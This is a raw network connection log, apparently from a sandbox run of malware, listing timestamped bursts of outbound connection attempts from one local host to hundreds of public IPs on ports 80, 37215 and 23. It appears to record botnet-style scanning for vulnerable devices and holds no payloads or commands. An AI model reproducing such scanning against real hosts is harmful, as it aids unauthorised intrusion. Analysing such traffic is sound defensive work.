Oct 14, 2024 17:30:08.890866995 CEST	53274	80	192.168.2.14	123.222.205.66
Oct 14, 2024 17:30:08.890868902 CEST	53274	80	192.168.2.14	124.249.176.74
Oct 14, 2024 17:30:08.890873909 CEST	53274	80	192.168.2.14	79.184.56.219
Oct 14, 2024 17:30:08.890880108 CEST	53274	80	192.168.2.14	169.246.73.150
Oct 14, 2024 17:30:08.890880108 CEST	53274	80	192.168.2.14	107.51.67.43
Oct 14, 2024 17:30:08.890878916 CEST	37215	53786	156.90.211.100	192.168.2.14
Oct 14, 2024 17:30:08.890891075 CEST	53274	80	192.168.2.14	204.22.115.169
Oct 14, 2024 17:30:08.890898943 CEST	53274	80	192.168.2.14	155.69.243.215
Oct 14, 2024 17:30:08.890908003 CEST	53274	80	192.168.2.14	31.158.125.176
Oct 14, 2024 17:30:08.890913963 CEST	53274	80	192.168.2.14	50.153.181.67
Oct 14, 2024 17:30:08.890925884 CEST	37215	53786	156.114.83.128	192.168.2.14
Oct 14, 2024 17:30:08.890938997 CEST	53786	37215	192.168.2.14	156.90.211.100
Oct 14, 2024 17:30:08.890943050 CEST	37215	53786	41.75.55.34	192.168.2.14
Oct 14, 2024 17:30:08.890945911 CEST	53274	80	192.168.2.14	87.147.201.215
Oct 14, 2024 17:30:08.890959978 CEST	37215	53786	156.122.156.234	192.168.2.14
Oct 14, 2024 17:30:08.890966892 CEST	53786	37215	192.168.2.14	156.114.83.128
Oct 14, 2024 17:30:08.890974998 CEST	37215	53786	41.117.14.132	192.168.2.14
Oct 14, 2024 17:30:08.890990019 CEST	37215	53786	156.240.13.10	192.168.2.14
Oct 14, 2024 17:30:08.890991926 CEST	53786	37215	192.168.2.14	41.75.55.34
Oct 14, 2024 17:30:08.891005039 CEST	37215	53786	197.189.90.118	192.168.2.14
Oct 14, 2024 17:30:08.891006947 CEST	53274	80	192.168.2.14	222.74.154.8
Oct 14, 2024 17:30:08.891011000 CEST	53274	80	192.168.2.14	131.97.247.117
Oct 14, 2024 17:30:08.891021013 CEST	37215	53786	197.5.25.240	192.168.2.14
Oct 14, 2024 17:30:08.891022921 CEST	53274	80	192.168.2.14	52.88.229.239
Oct 14, 2024 17:30:08.891025066 CEST	53274	80	192.168.2.14	49.198.71.185
Oct 14, 2024 17:30:08.891032934 CEST	53786	37215	192.168.2.14	156.122.156.234
Oct 14, 2024 17:30:08.891036987 CEST	53786	37215	192.168.2.14	41.117.14.132
Oct 14, 2024 17:30:08.891036987 CEST	37215	53786	197.190.41.77	192.168.2.14
Oct 14, 2024 17:30:08.891052008 CEST	53274	80	192.168.2.14	132.244.42.219
Oct 14, 2024 17:30:08.891052008 CEST	53274	80	192.168.2.14	105.223.205.124
Oct 14, 2024 17:30:08.891052008 CEST	37215	53786	156.117.71.214	192.168.2.14
Oct 14, 2024 17:30:08.891055107 CEST	53274	80	192.168.2.14	156.247.207.114
Oct 14, 2024 17:30:08.891052961 CEST	53274	80	192.168.2.14	4.145.29.185
Oct 14, 2024 17:30:08.891060114 CEST	53786	37215	192.168.2.14	156.240.13.10
Oct 14, 2024 17:30:08.891060114 CEST	53786	37215	192.168.2.14	197.189.90.118
Oct 14, 2024 17:30:08.891066074 CEST	53274	80	192.168.2.14	148.238.125.226
Oct 14, 2024 17:30:08.891068935 CEST	53786	37215	192.168.2.14	197.5.25.240
Oct 14, 2024 17:30:08.891069889 CEST	37215	53786	156.91.224.77	192.168.2.14
Oct 14, 2024 17:30:08.891076088 CEST	53786	37215	192.168.2.14	197.190.41.77
Oct 14, 2024 17:30:08.891076088 CEST	53274	80	192.168.2.14	86.171.229.182
Oct 14, 2024 17:30:08.891084909 CEST	37215	53786	156.32.173.245	192.168.2.14
Oct 14, 2024 17:30:08.891089916 CEST	53274	80	192.168.2.14	117.33.174.72
Oct 14, 2024 17:30:08.891094923 CEST	53274	80	192.168.2.14	5.62.22.127
Oct 14, 2024 17:30:08.891100883 CEST	37215	53786	41.213.98.36	192.168.2.14
Oct 14, 2024 17:30:08.891103029 CEST	53786	37215	192.168.2.14	156.117.71.214
Oct 14, 2024 17:30:08.891107082 CEST	53274	80	192.168.2.14	132.116.70.80
Oct 14, 2024 17:30:08.891115904 CEST	37215	53786	197.189.46.236	192.168.2.14
Oct 14, 2024 17:30:08.891117096 CEST	53274	80	192.168.2.14	109.27.156.96
Oct 14, 2024 17:30:08.891119957 CEST	53274	80	192.168.2.14	84.153.179.130
Oct 14, 2024 17:30:08.891120911 CEST	53786	37215	192.168.2.14	156.91.224.77
Oct 14, 2024 17:30:08.891122103 CEST	53274	80	192.168.2.14	161.120.26.238
Oct 14, 2024 17:30:08.891128063 CEST	53786	37215	192.168.2.14	156.32.173.245
Oct 14, 2024 17:30:08.891130924 CEST	37215	53786	197.52.195.128	192.168.2.14
Oct 14, 2024 17:30:08.891130924 CEST	53274	80	192.168.2.14	96.41.107.249
Oct 14, 2024 17:30:08.891130924 CEST	53274	80	192.168.2.14	25.30.80.69
Oct 14, 2024 17:30:08.891140938 CEST	53274	80	192.168.2.14	14.216.189.253
Oct 14, 2024 17:30:08.891144037 CEST	53274	80	192.168.2.14	60.137.127.33
Oct 14, 2024 17:30:08.891144037 CEST	53274	80	192.168.2.14	203.122.72.129
Oct 14, 2024 17:30:08.891146898 CEST	37215	53786	156.34.134.165	192.168.2.14
Oct 14, 2024 17:30:08.891155005 CEST	53274	80	192.168.2.14	197.118.249.200
Oct 14, 2024 17:30:08.891155958 CEST	53786	37215	192.168.2.14	41.213.98.36
Oct 14, 2024 17:30:08.891158104 CEST	53786	37215	192.168.2.14	197.189.46.236
Oct 14, 2024 17:30:08.891164064 CEST	37215	53786	41.64.166.169	192.168.2.14
Oct 14, 2024 17:30:08.891165018 CEST	53274	80	192.168.2.14	208.229.205.142
Oct 14, 2024 17:30:08.891166925 CEST	53786	37215	192.168.2.14	197.52.195.128
Oct 14, 2024 17:30:08.891175985 CEST	53274	80	192.168.2.14	25.90.192.147
Oct 14, 2024 17:30:08.891179085 CEST	37215	53786	156.202.124.131	192.168.2.14
Oct 14, 2024 17:30:08.891189098 CEST	53274	80	192.168.2.14	78.99.206.3
Oct 14, 2024 17:30:08.891191959 CEST	37215	53786	156.202.80.210	192.168.2.14
Oct 14, 2024 17:30:08.891196012 CEST	53274	80	192.168.2.14	148.69.85.22
Oct 14, 2024 17:30:08.891197920 CEST	53274	80	192.168.2.14	79.41.159.246
Oct 14, 2024 17:30:08.891202927 CEST	53786	37215	192.168.2.14	156.34.134.165
Oct 14, 2024 17:30:08.891202927 CEST	53274	80	192.168.2.14	209.122.58.162
Oct 14, 2024 17:30:08.891202927 CEST	53274	80	192.168.2.14	199.160.79.64
Oct 14, 2024 17:30:08.891206980 CEST	37215	53786	197.103.135.46	192.168.2.14
Oct 14, 2024 17:30:08.891211033 CEST	53786	37215	192.168.2.14	41.64.166.169
Oct 14, 2024 17:30:08.891212940 CEST	53274	80	192.168.2.14	86.1.59.205
Oct 14, 2024 17:30:08.891212940 CEST	53274	80	192.168.2.14	191.55.24.218
Oct 14, 2024 17:30:08.891212940 CEST	53274	80	192.168.2.14	87.18.98.95
Oct 14, 2024 17:30:08.891222000 CEST	37215	53786	156.129.200.128	192.168.2.14
Oct 14, 2024 17:30:08.891222954 CEST	53274	80	192.168.2.14	63.83.170.110
Oct 14, 2024 17:30:08.891228914 CEST	53786	37215	192.168.2.14	156.202.80.210
Oct 14, 2024 17:30:08.891232967 CEST	53274	80	192.168.2.14	203.22.144.213
Oct 14, 2024 17:30:08.891232967 CEST	53786	37215	192.168.2.14	156.202.124.131
Oct 14, 2024 17:30:08.891236067 CEST	37215	53786	41.233.92.155	192.168.2.14
Oct 14, 2024 17:30:08.891237020 CEST	53274	80	192.168.2.14	116.148.61.251
Oct 14, 2024 17:30:08.891241074 CEST	53274	80	192.168.2.14	67.243.122.78
Oct 14, 2024 17:30:08.891249895 CEST	53274	80	192.168.2.14	216.112.196.187
Oct 14, 2024 17:30:08.891251087 CEST	37215	53786	41.70.218.139	192.168.2.14
Oct 14, 2024 17:30:08.891252041 CEST	53786	37215	192.168.2.14	156.129.200.128
Oct 14, 2024 17:30:08.891252041 CEST	53786	37215	192.168.2.14	197.103.135.46
Oct 14, 2024 17:30:08.891259909 CEST	53274	80	192.168.2.14	178.239.147.117
Oct 14, 2024 17:30:08.891266108 CEST	37215	53786	197.30.235.2	192.168.2.14
Oct 14, 2024 17:30:08.891269922 CEST	53274	80	192.168.2.14	139.7.196.36
Oct 14, 2024 17:30:08.891272068 CEST	53786	37215	192.168.2.14	41.233.92.155
Oct 14, 2024 17:30:08.891275883 CEST	53274	80	192.168.2.14	42.22.39.126
Oct 14, 2024 17:30:08.891280890 CEST	37215	53786	197.126.70.145	192.168.2.14
Oct 14, 2024 17:30:08.891294003 CEST	53274	80	192.168.2.14	20.87.157.49
Oct 14, 2024 17:30:08.891294003 CEST	53786	37215	192.168.2.14	41.70.218.139
Oct 14, 2024 17:30:08.891294956 CEST	53274	80	192.168.2.14	155.30.240.243
Oct 14, 2024 17:30:08.891294956 CEST	53274	80	192.168.2.14	150.147.77.255
Oct 14, 2024 17:30:08.891294003 CEST	53274	80	192.168.2.14	223.221.113.222
Oct 14, 2024 17:30:08.891302109 CEST	37215	53786	156.201.158.201	192.168.2.14
Oct 14, 2024 17:30:08.891304970 CEST	53274	80	192.168.2.14	94.231.20.15
Oct 14, 2024 17:30:08.891307116 CEST	53274	80	192.168.2.14	184.113.32.194
Oct 14, 2024 17:30:08.891307116 CEST	53274	80	192.168.2.14	119.117.150.89
Oct 14, 2024 17:30:08.891309023 CEST	53274	80	192.168.2.14	91.124.66.97
Oct 14, 2024 17:30:08.891314030 CEST	53274	80	192.168.2.14	210.2.91.30
Oct 14, 2024 17:30:08.891314030 CEST	53786	37215	192.168.2.14	197.30.235.2
Oct 14, 2024 17:30:08.891315937 CEST	53274	80	192.168.2.14	92.75.90.38
Oct 14, 2024 17:30:08.891316891 CEST	37215	53786	41.189.67.95	192.168.2.14
Oct 14, 2024 17:30:08.891325951 CEST	53274	80	192.168.2.14	74.5.50.239
Oct 14, 2024 17:30:08.891325951 CEST	53274	80	192.168.2.14	44.11.13.228
Oct 14, 2024 17:30:08.891329050 CEST	53274	80	192.168.2.14	113.253.238.119
Oct 14, 2024 17:30:08.891329050 CEST	53274	80	192.168.2.14	54.213.120.36
Oct 14, 2024 17:30:08.891331911 CEST	37215	53786	41.119.242.119	192.168.2.14
Oct 14, 2024 17:30:08.891343117 CEST	53274	80	192.168.2.14	111.45.102.196
Oct 14, 2024 17:30:08.891344070 CEST	53786	37215	192.168.2.14	197.126.70.145
Oct 14, 2024 17:30:08.891344070 CEST	53274	80	192.168.2.14	184.142.132.215
Oct 14, 2024 17:30:08.891345024 CEST	53274	80	192.168.2.14	207.246.36.177
Oct 14, 2024 17:30:08.891345024 CEST	53274	80	192.168.2.14	60.242.150.44
Oct 14, 2024 17:30:08.891345978 CEST	37215	53786	41.236.157.95	192.168.2.14
Oct 14, 2024 17:30:08.891350031 CEST	53274	80	192.168.2.14	104.191.206.224
Oct 14, 2024 17:30:08.891359091 CEST	53786	37215	192.168.2.14	156.201.158.201
Oct 14, 2024 17:30:08.891359091 CEST	53274	80	192.168.2.14	115.193.135.154
Oct 14, 2024 17:30:08.891359091 CEST	53274	80	192.168.2.14	165.248.166.194
Oct 14, 2024 17:30:08.891359091 CEST	53274	80	192.168.2.14	60.44.66.187
Oct 14, 2024 17:30:08.891360998 CEST	37215	53786	156.151.106.3	192.168.2.14
Oct 14, 2024 17:30:08.891362906 CEST	53274	80	192.168.2.14	41.24.206.192
Oct 14, 2024 17:30:08.891362906 CEST	53786	37215	192.168.2.14	41.189.67.95
Oct 14, 2024 17:30:08.891364098 CEST	53274	80	192.168.2.14	85.49.174.42
Oct 14, 2024 17:30:08.891370058 CEST	53274	80	192.168.2.14	194.102.110.112
Oct 14, 2024 17:30:08.891376972 CEST	53786	37215	192.168.2.14	41.119.242.119
Oct 14, 2024 17:30:08.891392946 CEST	53274	80	192.168.2.14	186.138.51.223
Oct 14, 2024 17:30:08.891396999 CEST	37215	53786	156.135.175.247	192.168.2.14
Oct 14, 2024 17:30:08.891397953 CEST	53786	37215	192.168.2.14	41.236.157.95
Oct 14, 2024 17:30:08.891397953 CEST	53274	80	192.168.2.14	213.138.202.121
Oct 14, 2024 17:30:08.891400099 CEST	53274	80	192.168.2.14	180.88.253.149
Oct 14, 2024 17:30:08.891400099 CEST	53274	80	192.168.2.14	37.36.230.189
Oct 14, 2024 17:30:08.891405106 CEST	53786	37215	192.168.2.14	156.151.106.3
Oct 14, 2024 17:30:08.891407967 CEST	53274	80	192.168.2.14	203.134.51.216
Oct 14, 2024 17:30:08.891411066 CEST	53274	80	192.168.2.14	48.150.226.163
Oct 14, 2024 17:30:08.891411066 CEST	53274	80	192.168.2.14	19.240.224.226
Oct 14, 2024 17:30:08.891411066 CEST	53274	80	192.168.2.14	124.251.32.112
Oct 14, 2024 17:30:08.891412973 CEST	37215	53786	41.73.113.241	192.168.2.14
Oct 14, 2024 17:30:08.891417980 CEST	53274	80	192.168.2.14	89.231.129.40
Oct 14, 2024 17:30:08.891417980 CEST	53274	80	192.168.2.14	190.41.168.136
Oct 14, 2024 17:30:08.891419888 CEST	53274	80	192.168.2.14	213.203.12.201
Oct 14, 2024 17:30:08.891419888 CEST	53274	80	192.168.2.14	88.110.152.27
Oct 14, 2024 17:30:08.891427994 CEST	37215	53786	156.149.174.56	192.168.2.14
Oct 14, 2024 17:30:08.891437054 CEST	53274	80	192.168.2.14	207.214.161.147
Oct 14, 2024 17:30:08.891437054 CEST	53274	80	192.168.2.14	184.243.255.217
Oct 14, 2024 17:30:08.891438961 CEST	53786	37215	192.168.2.14	156.135.175.247
Oct 14, 2024 17:30:08.891442060 CEST	37215	53786	41.253.185.240	192.168.2.14
Oct 14, 2024 17:30:08.891443968 CEST	53274	80	192.168.2.14	43.122.245.159
Oct 14, 2024 17:30:08.891453028 CEST	53786	37215	192.168.2.14	41.73.113.241
Oct 14, 2024 17:30:08.891457081 CEST	37215	53786	41.174.80.200	192.168.2.14
Oct 14, 2024 17:30:08.891469955 CEST	53274	80	192.168.2.14	191.21.135.79
Oct 14, 2024 17:30:08.891472101 CEST	37215	53786	197.226.121.26	192.168.2.14
Oct 14, 2024 17:30:08.891470909 CEST	53786	37215	192.168.2.14	156.149.174.56
Oct 14, 2024 17:30:08.891480923 CEST	53786	37215	192.168.2.14	41.253.185.240
Oct 14, 2024 17:30:08.891480923 CEST	53274	80	192.168.2.14	203.128.12.135
Oct 14, 2024 17:30:08.891486883 CEST	37215	53786	156.84.65.21	192.168.2.14
Oct 14, 2024 17:30:08.891494036 CEST	53786	37215	192.168.2.14	41.174.80.200
Oct 14, 2024 17:30:08.891504049 CEST	37215	53786	156.241.80.223	192.168.2.14
Oct 14, 2024 17:30:08.891505957 CEST	53274	80	192.168.2.14	164.26.191.98
Oct 14, 2024 17:30:08.891508102 CEST	53274	80	192.168.2.14	14.201.232.23
Oct 14, 2024 17:30:08.891510963 CEST	53274	80	192.168.2.14	195.235.169.131
Oct 14, 2024 17:30:08.891510963 CEST	53274	80	192.168.2.14	221.62.190.250
Oct 14, 2024 17:30:08.891516924 CEST	53274	80	192.168.2.14	130.189.190.87
Oct 14, 2024 17:30:08.891519070 CEST	53274	80	192.168.2.14	202.133.231.234
Oct 14, 2024 17:30:08.891520023 CEST	37215	53786	156.55.128.21	192.168.2.14
Oct 14, 2024 17:30:08.891531944 CEST	53786	37215	192.168.2.14	156.84.65.21
Oct 14, 2024 17:30:08.891534090 CEST	53274	80	192.168.2.14	18.26.157.230
Oct 14, 2024 17:30:08.891535044 CEST	53274	80	192.168.2.14	192.64.124.146
Oct 14, 2024 17:30:08.891535044 CEST	53786	37215	192.168.2.14	197.226.121.26
Oct 14, 2024 17:30:08.891535997 CEST	37215	53786	41.106.39.144	192.168.2.14
Oct 14, 2024 17:30:08.891541958 CEST	53274	80	192.168.2.14	143.125.69.199
Oct 14, 2024 17:30:08.891546965 CEST	53274	80	192.168.2.14	117.154.237.204
Oct 14, 2024 17:30:08.891550064 CEST	53786	37215	192.168.2.14	156.241.80.223
Oct 14, 2024 17:30:08.891551971 CEST	37215	53786	41.40.193.137	192.168.2.14
Oct 14, 2024 17:30:08.891551971 CEST	53274	80	192.168.2.14	2.226.101.220
Oct 14, 2024 17:30:08.891561985 CEST	53786	37215	192.168.2.14	156.55.128.21
Oct 14, 2024 17:30:08.891565084 CEST	53274	80	192.168.2.14	24.133.108.66
Oct 14, 2024 17:30:08.891566992 CEST	37215	53786	197.132.40.236	192.168.2.14
Oct 14, 2024 17:30:08.891577959 CEST	53786	37215	192.168.2.14	41.106.39.144
Oct 14, 2024 17:30:08.891580105 CEST	53274	80	192.168.2.14	81.92.251.225
Oct 14, 2024 17:30:08.891581059 CEST	37215	53786	41.238.61.71	192.168.2.14
Oct 14, 2024 17:30:08.891581059 CEST	53786	37215	192.168.2.14	41.40.193.137
Oct 14, 2024 17:30:08.891597033 CEST	37215	53786	156.108.144.197	192.168.2.14
Oct 14, 2024 17:30:08.891608000 CEST	53786	37215	192.168.2.14	197.132.40.236
Oct 14, 2024 17:30:08.891612053 CEST	53274	80	192.168.2.14	71.196.199.38
Oct 14, 2024 17:30:08.891614914 CEST	53786	37215	192.168.2.14	41.238.61.71
Oct 14, 2024 17:30:08.891616106 CEST	37215	53786	41.79.10.6	192.168.2.14
Oct 14, 2024 17:30:08.891628981 CEST	53274	80	192.168.2.14	161.200.177.64
Oct 14, 2024 17:30:08.891630888 CEST	37215	53786	156.169.77.107	192.168.2.14
Oct 14, 2024 17:30:08.891632080 CEST	53274	80	192.168.2.14	67.153.209.85
Oct 14, 2024 17:30:08.891632080 CEST	53786	37215	192.168.2.14	156.108.144.197
Oct 14, 2024 17:30:08.891638041 CEST	53274	80	192.168.2.14	170.202.201.120
Oct 14, 2024 17:30:08.891644001 CEST	53786	37215	192.168.2.14	41.79.10.6
Oct 14, 2024 17:30:08.891645908 CEST	37215	53786	156.175.171.88	192.168.2.14
Oct 14, 2024 17:30:08.891659975 CEST	37215	53786	156.231.40.248	192.168.2.14
Oct 14, 2024 17:30:08.891664028 CEST	53274	80	192.168.2.14	125.82.68.136
Oct 14, 2024 17:30:08.891664028 CEST	53786	37215	192.168.2.14	156.169.77.107
Oct 14, 2024 17:30:08.891674995 CEST	37215	53786	197.162.84.121	192.168.2.14
Oct 14, 2024 17:30:08.891684055 CEST	53786	37215	192.168.2.14	156.175.171.88
Oct 14, 2024 17:30:08.891689062 CEST	37215	53786	41.163.10.229	192.168.2.14
Oct 14, 2024 17:30:08.891693115 CEST	53274	80	192.168.2.14	43.162.116.151
Oct 14, 2024 17:30:08.891702890 CEST	37215	53786	197.224.116.214	192.168.2.14
Oct 14, 2024 17:30:08.891702890 CEST	53786	37215	192.168.2.14	156.231.40.248
Oct 14, 2024 17:30:08.891709089 CEST	53274	80	192.168.2.14	107.110.60.203
Oct 14, 2024 17:30:08.891717911 CEST	37215	53786	41.186.147.81	192.168.2.14
Oct 14, 2024 17:30:08.891719103 CEST	53274	80	192.168.2.14	39.235.252.90
Oct 14, 2024 17:30:08.891721964 CEST	53274	80	192.168.2.14	155.200.26.192
Oct 14, 2024 17:30:08.891726971 CEST	53786	37215	192.168.2.14	197.162.84.121
Oct 14, 2024 17:30:08.891743898 CEST	53786	37215	192.168.2.14	197.224.116.214
Oct 14, 2024 17:30:08.891742945 CEST	53786	37215	192.168.2.14	41.163.10.229
Oct 14, 2024 17:30:08.891745090 CEST	37215	53786	156.153.101.136	192.168.2.14
Oct 14, 2024 17:30:08.891751051 CEST	53274	80	192.168.2.14	172.161.99.229
Oct 14, 2024 17:30:08.891766071 CEST	37215	53786	156.48.222.4	192.168.2.14
Oct 14, 2024 17:30:08.891767025 CEST	53786	37215	192.168.2.14	41.186.147.81
Oct 14, 2024 17:30:08.891767979 CEST	53274	80	192.168.2.14	80.34.93.165
Oct 14, 2024 17:30:08.891779900 CEST	53274	80	192.168.2.14	31.216.198.241
Oct 14, 2024 17:30:08.891781092 CEST	37215	53786	197.214.131.199	192.168.2.14
Oct 14, 2024 17:30:08.891781092 CEST	53274	80	192.168.2.14	187.75.245.226
Oct 14, 2024 17:30:08.891781092 CEST	53274	80	192.168.2.14	39.40.92.175
Oct 14, 2024 17:30:08.891794920 CEST	37215	53786	41.97.238.30	192.168.2.14
Oct 14, 2024 17:30:08.891803980 CEST	53786	37215	192.168.2.14	156.48.222.4
Oct 14, 2024 17:30:08.891805887 CEST	53786	37215	192.168.2.14	156.153.101.136
Oct 14, 2024 17:30:08.891808033 CEST	37215	53786	156.175.236.242	192.168.2.14
Oct 14, 2024 17:30:08.891814947 CEST	53786	37215	192.168.2.14	197.214.131.199
Oct 14, 2024 17:30:08.891823053 CEST	37215	53786	41.139.197.5	192.168.2.14
Oct 14, 2024 17:30:08.891829967 CEST	53786	37215	192.168.2.14	41.97.238.30
Oct 14, 2024 17:30:08.891836882 CEST	37215	53786	156.19.164.3	192.168.2.14
Oct 14, 2024 17:30:08.891844034 CEST	53786	37215	192.168.2.14	156.175.236.242
Oct 14, 2024 17:30:08.891850948 CEST	37215	53786	156.117.192.62	192.168.2.14
Oct 14, 2024 17:30:08.891858101 CEST	53786	37215	192.168.2.14	41.139.197.5
Oct 14, 2024 17:30:08.891865015 CEST	37215	53786	156.33.186.173	192.168.2.14
Oct 14, 2024 17:30:08.891874075 CEST	53786	37215	192.168.2.14	156.19.164.3
Oct 14, 2024 17:30:08.891880035 CEST	37215	53786	41.83.55.142	192.168.2.14
Oct 14, 2024 17:30:08.891895056 CEST	53786	37215	192.168.2.14	156.117.192.62
Oct 14, 2024 17:30:08.891896009 CEST	37215	53786	197.164.97.255	192.168.2.14
Oct 14, 2024 17:30:08.891906023 CEST	53786	37215	192.168.2.14	156.33.186.173
Oct 14, 2024 17:30:08.891911030 CEST	37215	53786	41.103.67.243	192.168.2.14
Oct 14, 2024 17:30:08.891915083 CEST	53786	37215	192.168.2.14	41.83.55.142
Oct 14, 2024 17:30:08.891926050 CEST	37215	53786	197.211.16.128	192.168.2.14
Oct 14, 2024 17:30:08.891932011 CEST	53786	37215	192.168.2.14	197.164.97.255
Oct 14, 2024 17:30:08.891938925 CEST	37215	53786	197.234.255.3	192.168.2.14
Oct 14, 2024 17:30:08.891944885 CEST	53786	37215	192.168.2.14	41.103.67.243
Oct 14, 2024 17:30:08.891953945 CEST	37215	53786	41.204.217.222	192.168.2.14
Oct 14, 2024 17:30:08.891968012 CEST	37215	53786	41.215.121.196	192.168.2.14
Oct 14, 2024 17:30:08.891973019 CEST	53786	37215	192.168.2.14	197.234.255.3
Oct 14, 2024 17:30:08.891973019 CEST	53786	37215	192.168.2.14	197.211.16.128
Oct 14, 2024 17:30:08.891980886 CEST	37215	53786	41.223.254.170	192.168.2.14
Oct 14, 2024 17:30:08.891994953 CEST	53786	37215	192.168.2.14	41.204.217.222
Oct 14, 2024 17:30:08.891995907 CEST	37215	53786	41.237.47.152	192.168.2.14
Oct 14, 2024 17:30:08.892009974 CEST	37215	53786	156.51.214.134	192.168.2.14
Oct 14, 2024 17:30:08.892019033 CEST	53786	37215	192.168.2.14	41.223.254.170
Oct 14, 2024 17:30:08.892020941 CEST	53786	37215	192.168.2.14	41.215.121.196
Oct 14, 2024 17:30:08.892029047 CEST	37215	53786	197.242.208.137	192.168.2.14
Oct 14, 2024 17:30:08.892034054 CEST	53786	37215	192.168.2.14	41.237.47.152
Oct 14, 2024 17:30:08.892045021 CEST	37215	53786	156.4.248.202	192.168.2.14
Oct 14, 2024 17:30:08.892045021 CEST	53786	37215	192.168.2.14	156.51.214.134
Oct 14, 2024 17:30:08.892060041 CEST	37215	53786	41.159.66.169	192.168.2.14
Oct 14, 2024 17:30:08.892066002 CEST	53786	37215	192.168.2.14	197.242.208.137
Oct 14, 2024 17:30:08.892075062 CEST	37215	53786	41.135.17.197	192.168.2.14
Oct 14, 2024 17:30:08.892081976 CEST	53786	37215	192.168.2.14	156.4.248.202
Oct 14, 2024 17:30:08.892091990 CEST	37215	53786	41.157.12.18	192.168.2.14
Oct 14, 2024 17:30:08.892102003 CEST	53786	37215	192.168.2.14	41.159.66.169
Oct 14, 2024 17:30:08.892107964 CEST	53786	37215	192.168.2.14	41.135.17.197
Oct 14, 2024 17:30:08.892119884 CEST	37215	53786	156.106.72.108	192.168.2.14
Oct 14, 2024 17:30:08.892127991 CEST	53786	37215	192.168.2.14	41.157.12.18
Oct 14, 2024 17:30:08.892136097 CEST	37215	53786	156.132.78.11	192.168.2.14
Oct 14, 2024 17:30:08.892149925 CEST	37215	53786	156.9.42.155	192.168.2.14
Oct 14, 2024 17:30:08.892159939 CEST	53786	37215	192.168.2.14	156.106.72.108
Oct 14, 2024 17:30:08.892164946 CEST	37215	53786	197.26.64.231	192.168.2.14
Oct 14, 2024 17:30:08.892172098 CEST	53786	37215	192.168.2.14	156.132.78.11
Oct 14, 2024 17:30:08.892179966 CEST	37215	53786	156.202.129.171	192.168.2.14
Oct 14, 2024 17:30:08.892193079 CEST	53786	37215	192.168.2.14	156.9.42.155
Oct 14, 2024 17:30:08.892194033 CEST	37215	53786	156.84.64.14	192.168.2.14
Oct 14, 2024 17:30:08.892210960 CEST	37215	53786	156.255.205.15	192.168.2.14
Oct 14, 2024 17:30:08.892216921 CEST	53786	37215	192.168.2.14	197.26.64.231
Oct 14, 2024 17:30:08.892220020 CEST	53786	37215	192.168.2.14	156.202.129.171
Oct 14, 2024 17:30:08.892225027 CEST	37215	53786	41.163.91.94	192.168.2.14
Oct 14, 2024 17:30:08.892239094 CEST	37215	53786	41.121.241.179	192.168.2.14
Oct 14, 2024 17:30:08.892241955 CEST	53786	37215	192.168.2.14	156.84.64.14
Oct 14, 2024 17:30:08.892252922 CEST	37215	53786	156.86.204.82	192.168.2.14
Oct 14, 2024 17:30:08.892254114 CEST	53786	37215	192.168.2.14	156.255.205.15
Oct 14, 2024 17:30:08.892267942 CEST	37215	53786	197.191.40.105	192.168.2.14
Oct 14, 2024 17:30:08.892275095 CEST	53786	37215	192.168.2.14	41.163.91.94
Oct 14, 2024 17:30:08.892282009 CEST	53786	37215	192.168.2.14	41.121.241.179
Oct 14, 2024 17:30:08.892282963 CEST	37215	53786	197.81.193.4	192.168.2.14
Oct 14, 2024 17:30:08.892296076 CEST	37215	53786	41.181.174.89	192.168.2.14
Oct 14, 2024 17:30:08.892302036 CEST	53786	37215	192.168.2.14	197.191.40.105
Oct 14, 2024 17:30:08.892311096 CEST	37215	53786	41.82.44.220	192.168.2.14
Oct 14, 2024 17:30:08.892316103 CEST	53786	37215	192.168.2.14	156.86.204.82
Oct 14, 2024 17:30:08.892316103 CEST	53786	37215	192.168.2.14	197.81.193.4
Oct 14, 2024 17:30:08.892326117 CEST	37215	53786	41.186.23.230	192.168.2.14
Oct 14, 2024 17:30:08.892339945 CEST	37215	53786	197.196.113.15	192.168.2.14
Oct 14, 2024 17:30:08.892340899 CEST	53786	37215	192.168.2.14	41.181.174.89
Oct 14, 2024 17:30:08.892349005 CEST	53786	37215	192.168.2.14	41.82.44.220
Oct 14, 2024 17:30:08.892354012 CEST	37215	53786	156.7.30.134	192.168.2.14
Oct 14, 2024 17:30:08.892366886 CEST	53786	37215	192.168.2.14	41.186.23.230
Oct 14, 2024 17:30:08.892369032 CEST	37215	53786	156.121.120.45	192.168.2.14
Oct 14, 2024 17:30:08.892376900 CEST	53786	37215	192.168.2.14	197.196.113.15
Oct 14, 2024 17:30:08.892383099 CEST	37215	53786	197.40.153.124	192.168.2.14
Oct 14, 2024 17:30:08.892394066 CEST	53786	37215	192.168.2.14	156.7.30.134
Oct 14, 2024 17:30:08.892396927 CEST	37215	53786	156.30.1.246	192.168.2.14
Oct 14, 2024 17:30:08.892410994 CEST	37215	53786	41.11.179.231	192.168.2.14
Oct 14, 2024 17:30:08.892415047 CEST	53786	37215	192.168.2.14	156.121.120.45
Oct 14, 2024 17:30:08.892436981 CEST	53786	37215	192.168.2.14	197.40.153.124
Oct 14, 2024 17:30:08.892441988 CEST	53786	37215	192.168.2.14	156.30.1.246
Oct 14, 2024 17:30:08.892453909 CEST	53786	37215	192.168.2.14	41.11.179.231
Oct 14, 2024 17:30:08.897624969 CEST	80	53274	186.138.51.223	192.168.2.14
Oct 14, 2024 17:30:08.897675991 CEST	53274	80	192.168.2.14	186.138.51.223
Oct 14, 2024 17:30:08.928988934 CEST	12058	23	192.168.2.14	149.157.80.25
Oct 14, 2024 17:30:08.928987026 CEST	12058	23	192.168.2.14	190.251.112.74
Oct 14, 2024 17:30:08.928994894 CEST	12058	23	192.168.2.14	44.92.162.154
Oct 14, 2024 17:30:08.929014921 CEST	12058	23	192.168.2.14	175.206.204.207
Oct 14, 2024 17:30:08.929014921 CEST	12058	23	192.168.2.14	120.19.171.94
Oct 14, 2024 17:30:08.929039955 CEST	12058	23	192.168.2.14	175.194.222.135
Oct 14, 2024 17:30:08.929039955 CEST	12058	23	192.168.2.14	157.243.215.251
Oct 14, 2024 17:30:08.929052114 CEST	12058	23	192.168.2.14	179.56.223.99
Oct 14, 2024 17:30:08.929053068 CEST	12058	23	192.168.2.14	77.180.184.210
Oct 14, 2024 17:30:08.929069996 CEST	12058	23	192.168.2.14	78.81.51.36
Oct 14, 2024 17:30:08.929078102 CEST	12058	23	192.168.2.14	172.114.236.193
Oct 14, 2024 17:30:08.929089069 CEST	12058	23	192.168.2.14	121.10.199.21
Oct 14, 2024 17:30:08.929095030 CEST	12058	23	192.168.2.14	46.84.69.167
Oct 14, 2024 17:30:08.929099083 CEST	12058	23	192.168.2.14	150.143.32.77
